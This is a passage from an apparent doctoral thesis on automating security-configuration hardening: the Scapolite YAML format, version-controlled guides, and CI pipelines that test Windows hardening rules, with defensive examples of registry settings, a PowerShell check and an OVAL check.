To overcome the problems mentioned above, we present a new security-configuration
framework. We have developed approaches to solving the given problems and implemented
them within our framework in PoCs.

Solution 1 To solve Problem 1, i.e., the missing process for security configuration, we

introduce the Scapolite-Approach to ease the whole security configuration process. In
the Scapolite-Approach, we adapted several techniques from software engineering
for security-configuration guides. Instead of managing the guides as single, large
tiles in an exchange format, we now have one small file per rule. The many small
files are the source from which we compile the final documents, like in a software
project. We manage the guides in this structure using state-of-the-art VCSs. Thus, we
can quickly see differences between different versions with standard diff techniques.
We validate every change to a guide using natural language processing techniques.
Furthermore, we have created a sophisticated Continuous Integration pipeline for
security-configuration guides. In this pipeline, we take the different profiles of a guide,
create a Virtual Machine for each profile, check it for compliance with the chosen
profile, implement all rules, recheck the compliance, revert all rules, and recheck the
compliance. We collect the data of each step, execute an intra-profile and inter-profile
comparison, and compare the results to historical data. We can see when something
changes and report this to the authors. They can investigate whether this change was
intended or resulted from a bug.
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Solution 2 To solve Problem 2, i.e., the manual configuration, we created a PoC that auto-
matically uses natural language processing to implement Windows-related security-
configuration guides. We extract the information needed to implement the rules
automatically using POS tags and grammars based on them. We show that we only
need a small number of grammar rules to extract almost all necessary information
from the guides. Furthermore, we wrote a library that extracts from Windows configu-
ration files how one can configure the settings automatically. In combination, the two
tools can take standardized, SCAP-based Windows-related security-configuration
guide as input and implement it automatically on a given system.

Solution 3 To solve Problem 3, i.e., the decision on whether a new setting is security-
relevant, we present an approach to how security experts can use state-of-the-art
natural language processing to identify security-relevant configuration settings. Here,
we use the natural language description of the settings as input to state-of-the-art
machine learning algorithms. Furthermore, we use existing guides from the CIS and
Siemens to label known settings as security-relevant or non-security-relevant; we
train the machine-learning algorithms on these labeled data sets. The trained model
can then automatically decide for an unseen setting whether it is security-relevant or
not based on the description of the setting.

Solution 4 To solve Problem 4, i.e., the lack of concern, we present different attacks on
state-of-the-art systems in the standard configuration. We only use publicly available
resources for these attacks and mimic an economically reasonable attacker targeting
a small company. Next, we show that administrators can block these attacks with
one or more rules from a security-configuration guide or a combination of several
rules. By mapping concrete attacks to concrete rules, we realize the abstract threat
that administrators can mitigate with security-configuration guides.

Solution 5 To solve Problem 5, i.e., the need for legacy support, we present an approach
to identify the breaking rules within a guide or profile concerning a given system
and its functionality. We assume that there are automatic tests to test the system’s
functionality, i.e., if they succeed, the system’s functionality is working. We use
combinatorial testing, machine learning, and graph theory to find a maximal set of
rules within a guide or profile that administrators can apply without reducing any
functionality tested by the automatic tests.

Ultimately, we present our general idea to improve the security configuration by intro-
ducing a new platform for security-configuration guides. This new platform holistically
combines the other solutions so that more people and organizations can profit from them in
the future.
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1.4. Contributions

The thesis makes the following contributions:

Contribution 1 To fill Literature Gap 1, i.e., the lack of standardized processes for the
security configuration, we proposed our new process for security configuration. To
fill Literature Gap 2, i.e., the manual configuration, we created our PoC, which imple-
ments existing security-configuration guides automatically. To fill Literature Gap 3,
i.e., the lack of knowledge, we created a PoC that can automatically identify security-
relevant settings based on their description. All three solutions share the most sig-
nificant contribution of this thesis: The application of natural language processing
into the field of security configuration. It is common practice that publishers create
security-configuration guides, and administrators read them. Given the contributions
of this thesis, we can use the full potential of the guides using natural language
processing, i.e., we can find mistakes and inconsistencies during the management
of the guides. Furthermore, we can automatically implement 83% of the rules in
Windows-related security-configuration guides of DISA and CIS based on the natural
language description in the guides with no manual effort. With a minor manual
correction, i.e., the administrator has to confirm the corrected value coming from our
verification step, this number goes up to 97%. We introduced our NLP approach
to find security-relevant rules in new Windows-based software like Windows 10
or Windows Server 2019 and software managed by Administrative Templates like
Microsoft Edge or Outlook. By analyzing the natural language description of the new
configuration settings, we can reach an F1 score of 42%. Although more is needed to
replace the security experts, it is better than any naive classifier. We hope this thesis is
the starting point of more research on the intersection between security configuration
and natural language processing, especially with new natural language processing
models like ChatGPT.

Contribution 2 To fill Literature Gap 1, we used existing software engineering concepts
like Version Control Sytem. We incorporated them into the new process for security
configuration. To fill Literature Gap 5, we used existing software testing, i.e., a
subdomain of software engineering, concepts like combinatorial testing for finding
the breaking rules. These two solutions share the second significant contribution
of this thesis, i.e., the transfer of software engineering practices into the field of
security configuration. Before this thesis, one would manage and maintain a security-
configuration guide as a document with no VC, no automatic quality assurance, and
no testing. Now, we can manage security-configuration guides like any other software
in modern VCSs. Thus, we can quickly restore old versions, work simultaneously on
guides, and see diffs between versions. We can check guides statically like we can
check Python code for type consistencies. We can run automated tests for our guides
like we as software engineers do for our Python or Java code. By transferring the
knowledge from software engineering into the domain of security configuration, we
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can professionalize the work on security-configuration guides and reduce the time to
find errors and the costs to fix them. We make this contribution more visual using
the Siemens Windows 10 guide as an example. The development of the Siemens
Windows 10 guide started shortly before this thesis, and we could thus incorporate
all techniques developed in this thesis into this project. Currently, 15 different authors
have created 1438 commits and merged 47 merge requests in this project. By enabling
them to write security-configuration rules in a text editor of their choice, more people
could contribute to a guide. Using an established VCS made the collaboration between
the different contributors easier. They could—as in any other software project—create
merge requests and assign other colleagues as reviewers. These reviewers could
advise changes or accept the proposed code. Since the project started, over 190 CI/CD
pipelines have run. 75% of the pipelines succeeded and delivered the latest version
of the hardening scripts directly to security-aware early adopters within Siemens.
The failing pipelines helped the authors of the commit to identify their mistakes
and to fix them directly. After the success of the Siemens Windows 10 case, the
security team at Siemens has now adopted these techniques also for other systems,
e.g., Windows Server 2016 and Debian.

Contribution 3 To fill Literature Gap 3, we had to create first different data sets with
security-relevant and non-security-relevant configuration settings. We could train
our models on these different data sets in the next step. To fill Literature Gap 4,
i.e., the lack of concern, we had to collect a set of attacks with different impacts on
hardened and non-hardened systems. Those two solutions constitute this thesis’s
third significant contribution, namely the publication of data sets in the context of
security configuration. The data set we published as part of [113] contains 4353 labeled
configuration settings for Windows 10 version 1803 and 4486 for the 1909 version [117].
Before this thesis, there were no data sets with security-relevant configuration settings.
Thus, executing the experiments without these data was hard or impossible. We
enable other researchers to perform experiments in this domain by publishing those
data sets.

1.5. Publications

In implementing the previously-discussed solutions, we issued the following main publica-
tions. All publications have been published after a peer-review process.

e Patrick Stockle, Bernd Grobauer, and Alexander Pretschner. 2020. Automated
Implementation of Windows-Related Security-Configuration Guides. In Proceedings
of the 35th IEEE/ACM International Conference on Automated Software Engineering (ASE
'20). Association for Computing Machinery, New York, NY, USA, 598-610. DOI:
10.1145/3324884.3416540. Overall Acceptance Rate: 37 of 312 submissions (12%). [107]
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e Patrick Stockle, [onut Pruteanu, Bernd Grobauer, and Alexander Pretschner. 2022.
Hardening with Scapolite: A DevOps-based Approach for Improved Authoring and
Testing of Security-Configuration Guides in Large-Scale Organizations. In Proceedings
of the Twelfth ACM Conference on Data and Application Security and Privacy (CODASPY
'22). Association for Computing Machinery, New York, NY, USA, 137-142. DOI:
10.1145/3508398.3511525. Overall Acceptance Rate: 65 of 357 submissions (18%). [116]

e Patrick Stockle, Theresa Wasserer, Bernd Grobauer, and Alexander Pretschner. 2022.
Automated Identification of Security-Relevant Configuration Settings Using NLP.
In Proceedings of the 37th IEEE/ACM International Conference on Automated Software
Engineering (ASE '22). Association for Computing Machinery, New York, NY, USA,
Article 131, 1-5. DOI: 10.1145/3551349.3559499. Overall Acceptance Rate: 128 of 562
submissions (23%). [113]

e Patrick Stockle, Michael Sammereier, Bernd Grobauer, and Alexander Pretschner.
2023. Better Safe Than Sorry! Automated Identification of Functionality-Breaking
Security-Configuration Rules. In ACM/IEEE International Conference on Automation of
Software Test (AST), Melbourne, Australia, 2023, pp. 90-100,

DOI: 10.1109/ AST58925.2023.00013. [115]

Furthermore, we also issued the following peer-reviewed publications.

¢ Patrick Stockle, Bernd Grobauer, and Alexander Pretschner. 2021. Automated Imple-
mentation of Windows-related Security-Configuration Guides. In: Software Engineer-
ing 2021. Gesellschaft fiir Informatik e.V., Bonn, Germany, 101-102. 10.18420/SE2021 _-
38. [108]

e Patrick Stockle, Bernd Grobauer, and Alexander Pretschner. 2022. Sicherheitskon-
tigurationsrichtlinien effizient verwalten und umsetzen: Der Scapolite-Ansatz. In
Sicherheit in vernetzten Systemen. Deutsches Forschungsnetz, Berlin, Germany. [111]

e Patrick Stockle, Michael Sammereier, Bernd Grobauer, and Alexander Pretschner.
2023. Konfigurationshartung laufender Systeme. In Sicherheit in vernetzten Systemen.
Deutsches Forschungsnetz, Berlin, Germany. [118]

e Patrick Stockle, Theresa Wasserer, Bernd Grobauer, and Alexander Pretschner. 2023.
Automatisierte Identifikation von sicherheitsrelevanten Konfigurationseinstellungen
mittels NLP. In: Software Engineering 2023. Gesellschaft fiir Informatik e.V., Bonn,
Germany, 115-116.20.500.12116 /40111 [114]

* Patrick Stockle and Felix Huber. 2024. Open Windows? Attacks on Insecurely
Configured Windows 10 Instances, submitted to CODASPY 2024. [112]
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1. Introduction

1.6. Structure

The remainder of this thesis is organized as follows: In Chapter 2, we present our improved
process for security configuration. Chapter 3 shows how we can automatically implement
existing Windows-related security-configuration guides. In Chapter 4, we demonstrate how
one can identify security-relevant configuration settings using NLP. Chapter 5 presents
several attacks on Windows 10 machines in their standard or TUM configuration to motivate
administrators to harden their systems. In Chapter 6, we present our approach to efficiently
find security-configuration rules that break certain functionality. Chapter 7 presents related
work. Chapter 8 presents conclusions and insights.
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2. An Improved Process for Security
Hardening

This chapter presents an improved process for security hardening. Parts of this
chapter have previously appeared in [116], where the author of this thesis is the
first author and the only Ph.D. student within the publication’s authors.

2.1. Introduction

Organizations such as the Center for Internet Security (CIS) or the Defense Information Sys-
tems Agency (DISA) provide publicly available security-configuration guides (also called
benchmarks, guidelines, or baselines) for various software components, e.g., operating
systems like Windows 10, web servers like NGINX, or email clients like Outlook. These
guides consist of rules, and each rule states which values should be used for a configura-
tion setting relevant for security; some of these guides consist of more than 350 rules. As
mentioned in Section 1.1, benchmarks written in the SCAP often contain machine-readable
definitions of checks, whereas mechanisms for implementing the required settings are usually
either provided separately or not at all. The usual security-configuration hardening process,
which is based on such public guides, contains many manual steps that are both inefficient
and error-prone. Most of the time, we need to adapt the external guides for our target
infrastructure by modifying specific settings, removing some rules, and adding others.
This problem is intensified by the fact that these adaptions have to be replicated and kept
consistent for each implementation, such as scripts (e.g., Bash or PowerShell), Infrastructure
as Code (IaC) approaches (e.g., Ansible or Chef), et cetera, and for each check mechanism.

2.1.1. Problems of the Current Security Hardening Process

Figure 2.1 illustrates the usual security hardening process; the numbers in the figure refer
to the following steps:

1. Input is an external guide, usually in the SCAP standard: The human-readable parts
are defined in the eXtensible Configuration Checklist Description Format (XCCDF)
with machine-readable checks in the Open Vulnerability and Assessment Language
(OVAL).
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Figure 2.1.: Typical process of security hardening. Dotted arrows represent manual tasks.

Every arrow within the box is a task the administrators execute to harden the
system.

2. XCCDF offers a mechanism for tailoring the guide, e.g., configure changes via so-

called profiles. The profiles are also reflected in the OVAL-based checks.

. Because machine-readable implementation mechanisms are not part of these guides

(exception: ComplianceAsCode, discussed below), we must either manually develop
implementation mechanisms or adjust them if we can re-use existing mechanisms.
Since larger organizations may use several different implementation mechanisms, we
may need to re-apply the same changes numerous times.

Before applying the implementation mechanisms to and using the check mechanisms
for production systems, we must test both of them: Erroneous implementation and
checking of security configurations may severely impact the security and function-
ality of systems. Because security-configuration guides are used for many target
systems (different operating systems and applications, different releases, different
tailorings, et cetera), we must manage a corresponding multitude of test systems.
In current security hardening process, the authors of the guides, the checks, or the
implementation conduct these tests manually, e.g., use a test machine, run a newly
written implementation, and check whether the registry is set as specified. If the rule
is changed, the other of this change has to manually test it again. Usually these testing
procedures are not explicitely documented.

. Feedback about problems, e.g., faulty implementations or checks, might introduce

changes for one or several implementation/check mechanisms.
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Figure 2.2.: Improved process of security hardening. The green arrows represent activities
that have been automated.

6. Finally, the tailored and tested security guides can be applied to production systems.
If problems are detected in productive use or a new version of a guide is published,
the whole process restarts.

The repetition of these manual steps increases the risk of introducing errors and, thus,
the risk of insecure systems. Therefore, we identified the following challenges for improving
the security hardening:

* Remove superfluous complexity in the security hardening process resulting from
unnecessary manual steps and scattered information.

* Establish automatic quality assurance for the security-configuration guides to find
errors earlier and easier.

2.1.2. Our Approach: Improved Authoring, Artifact Generation, and
Automated Testing

In this chapter, we present our solution for the security hardening process. Our solution is
twofold. First, we present our improved configuration hardening approach that focuses
on automation to remove error-prone manual steps. Second, we present our approach on
automatic testing of security-configuration guides to detect errors as soon as possible.

Figure 2.2 shows our improved security hardening process; again, the numbers refer to
the steps below:

1. We manage security-configuration guides in a dedicated YAML-based format called
Scapolite Format, which we keep under Version Control (VC). A guide in the Scapolite
format consists of many different files, and each file includes all information about one
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Scapolite object, i.e., a rule has its file in Scapolite, and a group has its file. Scapolite
objects can reference each other using links, i.e., a group references all its rules, and
a guide references all its groups and rules. Many other tools, e.g., Kubernetes, use
a similar scheme to define objects, and, thus, it was easy to understand for most
people at Siemens. Furthermore, the Scapolite format includes the definition of high-
level, machine-readable information about configuration requirements. For most
of those high-level configuration specifications, we can derive automatically both
implementation and check mechanisms derived. However, we will discuss the details
of the automatic generation of those low-level implementation and check information
in Section 3.1 Thus, we keep information about the check, implementation, metadata,
and documentation, e.g., human-readable descriptions about the requirements, the
rationale, et cetera, at a single location, namely the Scapolite file of a rule.

. Tailoring to different use-cases in the Scapolite Format works similarly as in SCAP: We

can define profiles for the individual use cases and create per-use-case modifications.

. From this single source, i.e., the machine-readable information from 1), we auto-

matically generate the required artifacts for implementing/checking the guides. As
stated above, SCAP does not specify how tools can automatically implement a rule.
SCAP only defines a text field for the description of the implementation, and an
administrator can read this description and implement the rule manually. However,
we did two things here. First, we specified how tools could automatically implement
different settings in the Scapolite Format. We did this mainly for Windows-based
systems and for some Linux distributions. Second, we developed an approach using
the description in natural language to implement a rule automatically. We will discuss
this approach in more detail in Section 3.1.

. Creation of the required test systems as virtual machines, applying the implementa-

tions/checks to these systems, and collecting the test results is carried out automat-
ically as a part of a DevOps pipeline. Following the DevOps principles, we define
explicitly the steps that the pipeline should execute in a YAML file (see Listing A.1
for a complete example). One has to differentiate between: The checks of a security-
configuration guide, i.e., scripts or scanner artifacts that administrators can use to
check which rules of a security-configuration system a given system fulfills, and the
tests for a security-configuration guide, i.e., tests that test the generated check or
implementation scripts. The checks are for the administrators in practice, and the tests
should guarantee that a change in the guide does not have unintended consequences.

. Because the implementations/checks are generated automatically, we can fix detected

problems with a single change either in the Scapolite document defining the guide
or a bug-fix in the transformation system, rather than changing in several different
artifacts.
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Figure 2.3.: Regular execution of tests in a security hardening process. Dotted lines denote
manual tasks. Every arrow within the box is a task the administrators execute
to harden the system. Checks are, e.g., scripts that compare the current state
of a setting with the desired state. The implementations and checks create logs
during their execution. After executing the implementation and checks of a
guide or a profile on a test machine, the person responsible for the testing of the
security guide collects these logs, i.e., the test results. Afterward, they manually
compare the current test results with the test results of previous runs or the test
results of other profiles.

2.1.3. Contributions

Our contributions to the field of security hardening are:

* By pulling information required for generating both implementation and check mech-
anisms as machine-readable information into our security-configuration guides, we
manage to restrict manual changes/corrections to a single location, thus reducing
errors and increasing efficiency.

¢ We show how to operate a DevOps/Continuous Integration-inspired approach of
authoring and maintaining security-configuration guides. In our approach, changes
in the guides trigger automated tests without human involvement in the execution of

27



2. An Improved Process for Security Hardening

Guides

Old 5 ; | g ':"""'---E ________

Lo

1 C

tests _)_;H 2

ot = v gy 0

Profiles| | : '8

...................................................................... 'O

A L] 0

ok | 3

Impl';g 5("3 o7 >

Checks 3|3 5 ' @

Vv :

Test§ |3 E E E R

machines §,§’ Bws Bws Ews :
R e H ____________ 'g

Results %@—)ﬁ«’—) <> }

Cross-checKing

Figure 2.4.: State-of-the-art execution of tests in a security hardening process. The green
arrows denote steps that are now automated.

the tests, collection of test results, and correlation of test data with expected results.

The latter point deserves a closer examination: As explained above, security-configuration
mechanisms are affected by the combinatorial explosion of test cases, requiring many test
systems and test runs. Figure 2.3 illustrates the approach without the DevOps: a single test
already requires a substantial manual effort that must be multiplied by the number of test
systems/test cases; when we detect problems, we have to fix them at several locations. In
contrast, Figure 2.4 illustrates the level of automation of our approach.

Our experiences of handling multiple security-configuration guides with multiple pro-
files authored /maintained using VC and DevOps pipelines within an industrial context
show that an approach that combines machine-readable information required for imple-
menting and checking security-configuration requirements is not only feasible but provides
enormous benefits. Errors are reduced, and the efficiency and the effectiveness of an or-
ganization’s security-configuration hardening program are raised. Thus, we tackle two
of the major causes for insecure configurations: erroneous application and ineffective or
incomplete application of secure configurations.
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2.2. Our approach to security hardening

Everyone who has published security-configuration guidelines to their organization, e.g., a
document specifying the required security settings for a Windows or Linux server system,
will be familiar with the demand for means that allow automated implementation and
validation of these settings. Especially in the case of operating systems, for which the
number of relevant settings is over 350, publishing a guide without providing automated
mechanisms is both inefficient and ineffective:

* multiple persons/groups in the constituency work in parallel on creating implemen-
tation/validation mechanismes;

e the manual transcription of required settings into an implementation mechanism or a
fully manual implementation will lead to errors and omissions;

¢ some constituency members will deem the task of implementation as too arduous,
costly, or time-consuming and not bother with it at all.

The SCAP [129] format family defines the state of the art for providing automated mecha-
nisms along with a security-configuration guide. We can use the SCAP formats to augment
human-readable information with machine-readable checks, usually specified in OVAL [77].
In almost all cases, however, automated implementation mechanisms are maintained sepa-
rately: both CIS and DISA provide Windows backup files containing the required settings,
which need to be maintained manually—a cumbersome and error-prone process, as outlined
above. The notable exception is the ComplianceAsCode project that provides little scripts
or Ansible playbooks for many settings. ComplianceAsCode includes the scripts in the
resulting SCAP content such that tools can use them to carry out the implementation steps.
At Siemens, we take a similar approach to ComplianceAsCode. However, we try to operate
at a higher level of abstraction—-where possible-by specifying the desired configurations
in a machine-readable form such that we can derive both implementation and verification
mechanisms from it. We combine this with a rigorous DevOps approach for authoring and
maintaining security guides: we use DevOps pipelines for both automated derivation and
test of implementation and validation mechanisms. In the following, we will briefly outline
our approach towards the abstract specification of security-configuration requirements and
their automated transformation into implementations and checks.

2.2.1. The Scapolite Format

The starting point of our work was the definition of the Scapolite Format which encom-
passes the relevant features of SCAP but additionally provides

1. a form that can be created /maintained as text-files under VC (see the above comment
on changes in rules).

29



2. An Improved Process for Security Hardening

scapolite:
class: rule
version: '0.51"

id: BL942-1101
id_namespace: org.scapolite.example
title: Configure use of passwords for removable data drives
rule: <see below>
implementations:
- relative_id: '01"
description: <see below>
history:
- version: '1.0'
action: created
description: Added so as to mitigate risk SR-2018-0144.

## /rule
Enable the setting 'Configure use of passwords for removable
data drives' and set the options as follows:
* Select "Require password complexity’
* Set the option 'Minimum password length for removable data drive®™ to “157.
## /implementations/0/description
To set the protection level to the desired state, enable the policy
“Computer Configuration\...\Configure use of passwords for removable data drives~
and set the options as specified above in the rule.

Listing 2.1.: A very basic example of a rule in the Scapolite Format. Lines referenced in the
text are marked in blue. We shortened the policy path to keep the file concise.

2. generalizations and additional extension points to support a broader range of use
cases.

3. fields for tracking of document maintenance data such as change history information
per configuration requirement.

Similar to other projects [76, 94] that require a “human read- and writable” format for
creating and maintaining structured information, we chose YAML as a basis for Scapo-
lite. Further, we combined YAML with Markdown as a markup language for structuring
human-readable content. We do not argue that SCAP and its eXtensible Markup Language
formats OVAL, XCCDF, et cetera are not human-readable, but our experience from working
with guide authors at Siemens shows that they are more motivated to write guides in a
YAML /Markdown than in an eXtensible Markup Language format.

Listing 2.1 shows a minimal example in the Scapolite Format; the highlighted lines
contain the human-readable description of how to implement the required setting.

2.2.2. Adding Machine-Readable Automations

The setting prescribed by the rule in Listing 2.1 concerns a Windows policy setting, specified
via (1) a policy path and (2) the required policy value. We, therefore, augment the Scapolite
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system: org.scapolite.implementation.win_gpo
ui_path: Computer Configuration\...\Configure use of passwords for removable data drives
value:

main_setting: Enabled

Configure password complexity for removable data drives: Require password complexity

Minimum password length for removable data drive: 15

constraints:

Minimum password length for removable data drive:
min: 15

Listing 2.2.: Windows-policy automation specifying a policy path, value(s) and constraints
for compliance checking.

rule object shown in Listing 2.1 with a so-called automation structure: the implementation
section of that object has an optional keyword automations under which we can add a
list of such automation structures. Listing 2.2 shows the required automation structure for
this particular rule. Line 2 contains the policy path; starting with line 4, one can see the
required values. In addition to the policy path and the values, in lines 7-10, we also specify
constraints for compliance checking: obviously, a password length > 15 would also be
compliant.

We can configure Windows policies via a GUI interface, which allows the user to choose
the desired values for each existing policy path. For a programmatic implementation,
however, an intermediate step is necessary. In the case of this particular policy, we must
set a specific key-value pair in the registry. As mentioned above, we included this into the
Scapolite Format specification. During this thesis, we have implemented an automated
transformation of the policy-based specification to a registry-based automation, and we
will discuss the details later in Section 3.1.

2.2.3. Transforming Automations

Listing 2.3 provides the result of carrying out this transformation for the automation in
Listing 2.2: we must set three registry keys; the first key signifies that the setting is enabled;
the second specifies that the requirements on password complexity are active; the third
contains the minimum password length.

Ideally, all security requirements should be specified as abstractly as possible and then be
transformed automatically into mechanisms for implementation and checking. However,
if we cannot find a suitable abstraction level, we must include code in a suitable scripting
language. For expressing checks, we can at least regain some abstraction via a generic
method for expressing the expected output of check-scripts to keep the scripts included as
“script automation” in the Scapolite document as concise as possible. Listing 2.4 shows an
example of a check for the requirement that all mounted volumes larger than 1GB should
use the NTFS. Lines 6-8 specify the expected output: the script in line 3 returns a list of
information objects, each of which must carry the key-value pair FileSystemType :NTFS.
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system: org.scapolite.automation.compound
automations:
- system: org.scapolite.implementation.windows_registry
config: Computer
registry key: Software\Policies\Microsoft\FVE
value_name: RDVPassphrase
action: DWORD:1
- system: org.scapolite.implementation.windows_registry
config: Computer
registry key: Software\Policies\Microsoft\FVE
value_name: RDVPassphraseComplexity
action: DWORD:1
- system: org.scapolite.implementation.windows_registry
config: Computer
registry key: Software\Policies\Microsoft\FVE
value_name: RDVPassphraselLength
action: DWORD:15
constraints:
min: 15

Listing 2.3.: Example of the Windows Registry automation automatically generated from
Listing 2.2. We will discuss in Section 3.1 in detail how we can derive these three
registries from the Windows configuration definitions and the information in
Listing 2.2.

2.2.4. Producing Code and Other Artifacts

With (1) the machine-readable specifications of what needs to be implemented /checked
and (2) the associated transformation mechanisms, we can generate artifacts that the system
administrators can use to carry out the rule’s implementation and check. The higher our
level of abstraction, the more options we have regarding the target implementation or check
mechanism for which we generate these artifacts. Obviously, if the automations contain
code for a specific script engine, we must generate artifacts for each of these engines or an
execution system that can execute this type of script.

For this chapter, we continue the example regarding Windows. For security-configuration
guides targeting Windows, we generate a set of PowerShell commandlets together with a

system: org.scapolite.automation.script
script: |
Get-Volume | Select Size, FileSystemType | Where {$_.Size -gt 1GB}
expected:
output_processor: Format-List
each_item:
key: FileSystemType
equal_to: NTFS

Listing 2.4.: Example of a script-based automation for checking that all drives larger than
1GB use NTES as their file system type.
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<criteria negate="false" operator="AND">
<criteria negate="false" operator="AND">
<criterion negate="false" test_ref="oval:tst:105650">
<win:registry test check="all" check_existence="at_least_one_exists"
— 1d="oval:tst:105650" version="1">
<win:registry object id="oval:0bj:105650" version="1">
<win:hive datatype="string" operation="equals">

HKEY_LOCAL_MACHINE
</win:hive>
<win:key datatype="string" operation="case insensitive equals">
Software\Policies\Microsoft\FVE
</win:key>
<win:name datatype="string" operation="equals">
RDVPassphrase
</win:name>
</win:registry object>
<win:registry state id="oval:ste:105650" version="1">
<win:type datatype="string" operation="equals">
reg_dword
</win:type>
<win:value datatype="int" entity_check="all" operation="equals">
1
</win:value>
</win:registry state>
</win:registry test>
</criterion>
</criteria>

</criteria>

Listing 2.5.: Parts of an OVAL check (nested for better readability) generated from List-
ing 2.3. Shown is the part of the check that considers the first of the three
registry keys.

JSON file containing for each rule the necessary data used by the PowerShell commandlets
to implement or check the rule. Before the scripts implement a rule, they store as backup
each setting’s current value; Thus, we can roll back every implemented rule.

As an example for a different target of our transformations, Listing 2.5 shows the result
of a transformation from Listing 2.3 into an OVAL check. This particular transformation
might look straightforward, but even simple checks can get complicated when expressed in
OVAL; combined with the verbose eXtensible Markup Language structure of OVAL and its
many cross-references, generating OVAL was a prime use case for our code generation.

Our improved approach to security hardening has several advantages: First, it concen-
trates all information of a single rule in one place and reduces the risk of inconsistencies.
Second, the transformations replace many manual steps and thus significantly reduce the
risk of errors.
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2.3. The need for automated testing

Having explained how we specify security-configuration requirements and transform these
specifications into artefacts for implementation and checking, we move to motivating the
need for extensive test automation as part of our maintenance and release process in the
following section.

2.3.1. Maintenance and Release Process

Our workflow in authoring, maintaining, and releasing security-configuration baselines is
as follows:

1. Authors write security-configuration guides in the Scapolite Format. The Scapolite
files are kept under VC at code . siemens. com, an internal GitLab instance.

2. We use GitLab pipelines to automatically transform the machine-readable automa-
tions into artifacts for implementation and check, i.e., in the Windows case, we
generate JSON files and PowerShell scripts. Deriving these artifacts from the Scapolite
files is possible, because we have the necessary information for automating the imple-
mentation and check in a machine-readable form in the file of the rule. For SCAP, this
is not the case! During the development or maintenance of a guide, the authors use
these guides for testing purposes.

3. Once we release a guide, Siemens’s security-regulation portal called Security Frame-
work and Regulations Application (SFeRA) generates human-readable versions (web
view, PDF, XLSX, etc.) directly from the Scapolite sources located at code . siemens. com.

4. The pipeline-based transformation mechanism is triggered for the released version of
the Scapolite sources, and we provide the resulting artifacts to users via dedicated
GitLab repositories.

In a parallel process, we maintain the technological basis of this process and develop it
further, namely:

1. libraries for creating and manipulating content in the Scapolite Format, e.g., im-
ports from SCAP, methods for enriching existing Scapolite content with additional
information, et cetera;

2. libraries for transforming abstract machine-readable automations into more concrete
automations. The transformation from Listing 2.2 into Listing 2.3. In this case, the
input is a Windows policy requirement included in a Scapolite rule; defining such
Windows policy requirements is part of the Scapolite Format. How Windows presents
those settings in the Group Policy Editor to the user is heavily influenced by our
notation. The output is, in this case, Windows registry keys (see Section 2.2.3);
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3. libraries for further transformation into code or other artifacts like check files for
scanners like Nessus (see Section 2.2.4)

2.3.2. Combinatorial Explosion of Needed Test Cases

Before describing the test requirements during the creation/maintenance of security-
configuration guides, it is worthwhile to consider the number of test cases for a given
guide.

Usually, we write security-configuration guides to serve different use-cases with the
same guide. We normally specify different security levels, where specific rules only apply
to particular levels or rules are modified according to the security level. For example,
a lower password length may be required for standard systems, whereas we specify a
longer password length for high-security systems or add a rule mandating two-factor
authentication.

Also, frequently, we differentiate between other use-case variants such as client and
server systems. Thus, a scheme for defining system criticality or sensitivity in three levels
for an OS, i.e., low, medium, high, as well as for two roles, i.e., client and server, will lead to
6 test cases. For Siemens’s Enterprise IT, we use a criticality schemes which (in theory) can
lead to 27 different possible criticality levels.

Finally, a single security-configuration guide may apply to several releases of its target,
e.g., Windows releases (1809, et cetera), or different editions or flavors of the target, e.g.,
CentOS vs. RHEL.

Thus, we see that testing of security guides, e.g., whether the generated checking and
implementation artifacts work as intended, suffers from a substantial combinatorial explo-
sion problem. We know mitigation strategies, e.g., containerization, to provide a controlled
execution environment to remove the variability; we cannot apply them since security-
configuration guides strive to be applicable as widely as possible.

2.3.3. Test Requirements during Guide Creation

Creating a security-configuration guide is an iterative process between writing the guide
and testing the guide’s implementation. The author, therefore, requires a test environment,
usually in the form of one or more virtual images on which the target of the baseline is
installed.

Manual creation/maintenance of such a test environment, as well as the manual execution
of the tests, is a tremendous overhead: we must start/reset the virtual image, generate
the artifacts, transfer them to the image, and execute the artifacts; usually, we execute this
process several times for implementing and checking rules for different use-cases. In the
end, we must collect the test results and prepare them for the manual analysis.

The efficient creation of security-configuration guides, therefore, is practically impossible
without automated testing.
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2.3.4. Test Requirements During Guide Maintenance

Automated testing also is essential during maintenance. Every change either in the Scapolite
source or the underlying infrastructure required for generating the artifacts for implementa-
tion and checking may lead to errors. For example:

1. Errors in the metadata introduced during maintenance may lead to rule omissions in
the generated artifacts.

2. Errors in the transformation from abstract to concrete machine-readable information
may lead to faulty specifications, which in turn lead to faulty implementations and
checks. These transformation errors can originate from, e.g., bugs introduced during
maintenance of the transformation library.

3. Similarly, errors in the transformation to program code or other artifacts may lead to
faulty implementations/checks.

Further, we need to detect errors in a timely manner that are introduced by changes that
have nothing to do with our process:

1. Maintainers may mis-specify the machine-readable information when making changes
during maintenance.

2. Changes in the target of hardening, e.g., upgrades of the OS, may invalidate or break
a particular way of implementing or checking.

3. Changes in execution environments for a created artifact, e.g., changes in a vulnerabil-
ity scanner we generate a specification for, may invalidate the created artifact.

Only a high automation degree allows us to run the required regression tests whenever a
change occurs.

2.4. Our approach to testing

2.4.1. The Testing process

As pointed out in Section 2.3.2, testing the implementation and checking of a security
guide to a target is likely to require several test runs: one for each combination of use-case,
e.g., regular vs. high-security, used system, target-system revision, e.g., Windows release
1809 vs. 1909, and implementation or check runtime environments; the latter either ingest
some of the created artifacts, e.g., a test policy, or provide as external mechanisms a certain
ground truth. We use, for example, the CIS-CAT scanner to verify implementations/checks
generated for CIS baselines. Nevertheless, we can also have different results for the same
tools, e.g., because of different versions.
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Anatomy of typical test run

A test run typically has the following shape:

Run initial checks Run checks on the unchanged system to establish the status quo before
the implementation.

Apply security settings Execute the generated mechanism for implementing the desired
security settings.

Carry out checks for compliance Re-run checks against the changed system.
Revert settings Revert the revertable settings to their initial status.

Check reverted settings Check the status after we restored the settings’ old state.

Analysis of a test run

Relevant data that can be collected from such test runs are:

Quantitative data How many rules were successfully applied? For how many rules did
the check return a success, a failure, a runtime problem, et cetera?

Detailed information Which rules were successfully applied? For which rules was the
check successful, a failure, ran into a problem, et cetera?

Analysis of the complete set of test runs for a specific setting, i.e., a combination of
use-case and target system, usually entails two types of comparison:

Comparisons within a test run to find discrepancies, e.g.:

* A rule is reported as applied, but the check mechanism reports the rule as
non-compliant.

¢ Two check mechanisms report different results for a rule.

* The check mechanism marked a rule as non-compliant before the implementa-
tion, compliant after the implementation, but still as compliant after the reverting.

Comparison with previous test runs to carry out regression tests: the newly collected data
is compared with data from previous test executions. Were there changes? If so,
are these desirable changes, e.g., we improved an implementation or check that did
not work before, or undesireable changes, e.g., previously successful check does not
succeed anymore.
